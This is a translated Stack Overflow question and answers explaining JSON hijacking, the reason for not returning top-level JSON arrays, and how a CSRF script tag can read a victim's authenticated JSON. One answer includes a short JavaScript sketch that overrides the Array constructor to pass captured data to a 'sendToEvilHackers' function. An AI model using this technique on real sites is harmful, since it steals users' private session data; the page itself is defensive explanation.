【问题标题】:What are "top level JSON arrays" and why are they a security risk?什么是“顶级 JSON 数组”,为什么它们存在安全风险?
【发布时间】:2011-03-31 00:10:28
【问题描述】:

在下面的视频中,时间标记为 21:40,Microsoft PDC 演示者说,重要的是要包装所有 JSON,这样它就不是顶级数组:

https://channel9.msdn.com/Events/PDC/PDC09/FT12

展开的顶级数组有什么风险?

我应该如何检查自己是否易受攻击?我从第三方购买了许多组件,并有开发我的代码的外部供应商。

【问题讨论】:

    标签: javascript json security xss


    【解决方案1】:

    我认为这是因为 Array() 构造函数可以重新定义。然而,这个问题并不是数组所独有的。

    我认为攻击(或一种可能的方式)是这样的:

    function Array(n) {
      var self = this;
      setTimeout(function() {
        sendToEvilHackers(self);
      }, 10);
      return this;
    }
    

    浏览器(或某些浏览器)将该构造函数用于[n, n, n] 数组表示法。因此,CSRF 攻击可以利用您与银行的开放会话,点击带有 <script> 标记的已知 JSON URL 来获取它,然后 poof 你就拥有了。

    【讨论】:

    • 我不明白 - 将 JSON 中的数组向下移动到属性中不会阻止这种类型的攻击。返回{"d":[1,2,3]} 与返回[1,2,3] 一样容易受到影响。
    • 我同意 - 这就是我所说的问题不仅仅是数组的意思。
    • 不正确。 JavaScript 中行首的{ 被解释为代码块,而不是对象字面量。因此,您的 {"d":[1,2,3]} 不是有效的脚本,不会被浏览器执行。试试看吧:)
    • 跟进:haacked.com/archive/2009/06/25/json-hijacking.aspx 对我来说,这比格罗斯曼 2006 年的文章更好地解释了威胁
    【解决方案2】:

    这是因为几年前 Jeremiah Grossman 发现了一个非常 interesting vulnerability that affects gmail。有些人通过使用unparseable cruft 解决了这个漏洞(bobince 先生在此页面上的技术描述非常棒。)

    微软之所以谈论这个是因为他们还没有修补他们的浏览器。 (编辑: Edge 和 IE 10/11 的最新版本已经解决了这个问题。)Mozilla 认为这是 json 规范中的一个漏洞,因此他们在 Firefox 3 中对其进行了修补。郑重声明,我完全同意 Mozilla 的观点,但不幸的是,每个 Web 应用程序开发人员都必须保护自己免受这个非常模糊的漏洞的影响。

    【讨论】:

    • 在 2017 年以 JSON 数组发送敏感信息是否仍然存在安全风险?
    • @jrahhali 这个问题值得自己发帖,也许 security.stackexchange.com 会是一个好地方。
    猜你喜欢
    • 1970-01-01
    • 2011-11-09
    • 2017-06-17
    • 2015-11-10
    • 2015-12-18
    • 2011-03-01
    • 1970-01-01
    相关资源
    最近更新 更多